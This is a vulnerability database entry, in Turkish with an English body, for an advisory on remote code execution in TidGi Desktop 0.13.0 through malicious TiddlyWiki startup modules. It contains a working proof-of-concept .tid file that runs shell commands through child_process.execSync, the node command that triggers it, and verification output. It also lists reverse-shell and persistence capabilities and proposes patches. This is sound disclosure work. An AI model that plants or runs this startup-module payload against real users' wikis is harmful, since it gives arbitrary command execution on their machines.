Zafiyetler / GHSA-9hc2-hjx8-q6pv

kritik

GHSA-9hc2-hjx8-q6pv

TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution

Yayın Değişiklik
En geç 24 Eki 2026, 07:11 UTC tarihinden beri Trivy database'indeO derlemeden önce ne zaman girdiği kayıtlı değil.

Kaynağa göre önem derecesi

GHSA9.7CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Trivy'nin kendi etiketi CRITICAL. Kritik diyenler: GHSA.

Açıklama

## Description TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in `.tid` files placed in the wiki's `tiddlers/` directory: 1. **Auto-loading of `.tid` files** (`src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`) — when TidGi boots a wiki workspace, `loadWikiTiddlers` reads all `.tid` files from the filesystem and adds them to the wiki store via `wiki.addTiddlers()`. 2. **Automatic module registration** (`node_modules/tiddlywiki/boot/boot.js:2564-2565`) — `defineTiddlerModules()` iterates all tiddlers in the store. Any tiddler with a `module-type` field is passed to `$tw.modules.define()`, registering it as an executable module. 3. **Automatic startup execution** (`node_modules/tiddlywiki/boot/boot.js:2572-2634`) — all registered modules of type `"startup"` are collected and their `exports.startup()` function is called during the boot sequence. When no `platforms` restriction is set, `doesTaskMatchPlatform()` returns `true`, and the startup function executes with full Node.js `require()` access in the Wiki Worker process. The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — `require('child_process').execSync()` successfully executed arbitrary shell commands. ## Affected Product - **Product**: TidGi Desktop - **Vendor**: Lin Onetwo (https://github.com/tiddly-gittly) - **Repository**: https://github.com/tiddly-gittly/TidGi-Desktop - **Affected Versions**: 0.13.0 (latest release) - **Components**: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts` (tiddler loading), `src/services/wiki/wikiWorker/startNodeJSWiki.ts` (wiki boot), `node_modules/tiddlywiki/boot/boot.js` (TiddlyWiki core — `defineTiddlerModules`, startup dispatch) - **Package**: tidgi (npm) ## Vulnerability Details ### Root Cause 1 — `.tid` Files Auto-Loaded Before Module Processing **File: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`** ```typescript const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath); for (const tiddlerFile of tiddlerFiles) { // Register file info for filesystem adaptor // ... // Add tiddlers to wiki wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers); // ← Line 92 } ``` **File: `src/services/wiki/wikiWorker/startNodeJSWiki.ts:256`** ```typescript wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH }); ``` This triggers `$tw.boot.startup()`, which internally calls `loadStartup()` → `loadTiddlersNode()` → `$tw.loadWikiTiddlers($tw.boot.wikiPath)` (boot.js:2381). TidGi overrides `loadWikiTiddlers` at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all `.tid` files from the main wiki's `tiddlers/` directory. ### Root Cause 2 — Automatic Module Registration via `module-type` Field **File: `node_modules/tiddlywiki/boot/boot.js:1514-1534`** — `defineTiddlerModules()` ```javascript $tw.Wiki.prototype.defineTiddlerModules = function() { this.each(function(tiddler,title) { if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) { switch(tiddler.fields.type) { case "application/javascript": $tw.modules.define( tiddler.fields.title, // "$:/plugins/poc/startup.js" tiddler.fields["module-type"], // "startup" tiddler.fields.text // attacker's JS code ); break; } } }); }; ``` This function is called during `execStartup()` (boot.js:2565), **after** `loadStartup()` has already loaded all `.tid` files into the wiki store. Any tiddler with `module-type: startup` and `type: application/javascript` is automatically registered as an executable module. ### Root Cause 3 — Automatic Startup Execution with Full Node.js Access **File: `node_modules/tiddlywiki/boot/boot.js:2572-2576`** — Collecting startup modules ```javascript $tw.boot.remainingStartupModules = []; $tw.modules.forEachModuleOfType("startup", function(title, module) { if(module.startup) { $tw.boot.remainingStartupModules.push(module); // ← attacker's module collected } }); ``` **File: `node_modules/tiddlywiki/boot/boot.js:2631-2634`** — Executing startup ```javascript if(!$tw.utils.hop(task,"synchronous") || task.synchronous) { const thenable = task.startup(); // ← exports.startup() called ``` **File: `node_modules/tiddlywiki/boot/boot.js:2658-2677`** — Platform check (passes without explicit `platforms`) ```javascript $tw.boot.doesTaskMatchPlatform = function(taskModule) { var platforms = taskModule.platforms; if(platforms) { // ... check each platform ... return false; // ← only rejects if platforms is explicitly set } return true; // ← no platforms field → passes unconditionally }; ``` ### Complete Boot Sequence (verified against TiddlyWiki 5.4.0) ``` $tw.boot.startup() // boot.js:2589 ├── initStartup() // boot.js:2393 ├── loadStartup() // boot.js:2538 │ └── loadTiddlersNode() // boot.js:2356 │ └── $tw.loadWikiTiddlers(wikiPath) // boot.js:2381 │ └── wiki.addTiddlers(...) // loads .tid files into store └── execStartup() // boot.js:2553 ├── defineShadowModules() // boot.js:2564 ├── defineTiddlerModules() // boot.js:2565 ← registers attacker's module ├── forEachModuleOfType("startup", ...) // boot.js:2572 ← collects startup modules └── executeNextStartupTask() // boot.js:2611 └── task.startup() // boot.js:2634 ← exports.startup() executes ``` ### Exploitation Conditions - **No authentication required** — importing a wiki is a standard feature - **Only user interaction**: click "Add Workspace" → select folder/URL → confirm ### Complete Attack Flow ``` ┌──────────────────────────────────────────────────────────────┐ │ Step 1: Attacker creates a malicious TiddlyWiki repository │ ├──────────────────────────────────────────────────────────────┤ │ tiddlers/$__plugins__poc__startup.js.tid: │ │ │ │ title: $:/plugins/poc/startup.js │ │ type: application/javascript │ │ module-type: startup │ │ │ │ exports.startup = function() { │ │ require('child_process').execSync('calc'); │ │ }; │ │ │ │ + tiddlywiki.info + any other wiki files │ └──────────────────────────────────────────────────────────────┘ ↓ ┌──────────────────────────────────────────────────────────────┐ │ Step 2: Victim imports the repository into TidGi Desktop │ ├──────────────────────────────────────────────────────────────┤ │ Add Workspace → Clone Git Repository / Open Local Folder │ │ → TidGi boots the wiki │ └──────────────────────────────────────────────────────────────┘ ↓ ┌──────────────────────────────────────────────────────────────┐ │ Step 3: RCE — startup module auto-executes in Node.js Worker │ ├──────────────────────────────────────────────────────────────┤ │ loadWikiTiddlers loads .tid file → wiki.addTiddlers() │ │ boot.startup() → execStartup() │ │ defineTiddlerModules() → $tw.modules.define("startup", ...) │ │ executeNextStartupTask() → exports.startup() │ │ → require('child_process').execSync('...') executes │ └──────────────────────────────────────────────────────────────┘ ``` ## Proof of Concept ### Minimal `.tid` File (place in `tiddlers/` directory) ``` title: $:/plugins/poc/startup.js type: application/javascript module-type: startup exports.startup = function() { require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt'); console.log('STARTUP_EXECUTED'); }; ``` ### Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26) ``` $ node -e " const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki(); \$tw.boot.argv = ['/tmp/evil-wiki']; \$tw.boot.startup(); " STARTUP_EXECUTED $ ls -la /tmp/TidGi-RCE-PoC.txt -rw-r--r-- 1 nuii wheel 0 Jun 3 00:01 /tmp/TidGi-RCE-PoC.txt ``` The message `STARTUP_EXECUTED` printed from within the attacker's `exports.startup()` function, and the file `/tmp/TidGi-RCE-PoC.txt` was created by `execSync('touch ...')`, confirming arbitrary command execution. ## Impact | Capability | Status | Details | |-----------|--------|---------| | Remote Code Execution | ✅ Full Node.js access | `require('child_process')` available | | Arbitrary File Read | ✅ | `require('fs').readFileSync()` | | Arbitrary File Write | ✅ | `require('fs').writeFileSync()` | | Reverse Shell | ✅ | Node.js `net` module | | Persistence | ✅ | Write to startup scripts, LaunchAgents, crontab | | User Interaction | 1 click | Import repository | | Cross-Platform | ✅ | Windows, macOS, Linux | ## Reproduction Evidence ### Step 1 — Malicious `.tid` file content ``` title: $:/plugins/poc/startup.js type: application/javascript module-type: startup exports.startup = function() { require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt'); console.log('STARTUP_EXECUTED'); }; ``` ### Step 2 — TiddlyWiki boot with malicious wiki at `/tmp/evil-wiki` ``` $ node -e " const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki(); \$tw.boot.argv = ['/tmp/evil-wiki']; \$tw.boot.startup(); " STARTUP_EXECUTED ``` ### Step 3 — Verified RCE: `/tmp/TidGi-RCE-PoC.txt` created ``` $ ls -la /tmp/TidGi-RCE-PoC.txt -rw-r--r-- 1 nuii wheel 0 Jun 3 00:01 /tmp/TidGi-RCE-PoC.txt ``` ## Patch Recommendation ### Fix 1: Disallow `module-type` on User Tiddlers TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define `module-type`. ```typescript // In defineTiddlerModules() or equivalent if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) { // User tiddler — silently drop module-type field return; } ``` ### Fix 2: Sandbox User Modules If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins: ```typescript // Replace direct require access with a restricted API surface const vm = require('vm'); const sandbox = { console, $tw, Buffer }; vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 }); ``` ### Fix 3: Whitelist Allowed `module-type` Values Only allow known safe `module-type` values for user tiddlers: ```typescript const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser']; if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) { return; // Block startup, library, saver, etc. } ```

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Referanslar

Vulnerability data compiled from the Trivy vulnerability database (trivy-db, Aqua Security, Apache License 2.0), which aggregates third-party advisories. CVE records are published by The MITRE Corporation under the CVE Terms of Use; CVE is a trademark of MITRE. This product uses data from the NVD API but is not endorsed or certified by the NVD. Severity, titles and advisory data from the GitHub Advisory Database (CC BY 4.0), Red Hat security data (CC BY 4.0) and the other sources linked on each entry. Entries may be summarised or re-formatted; the linked original is the authoritative record.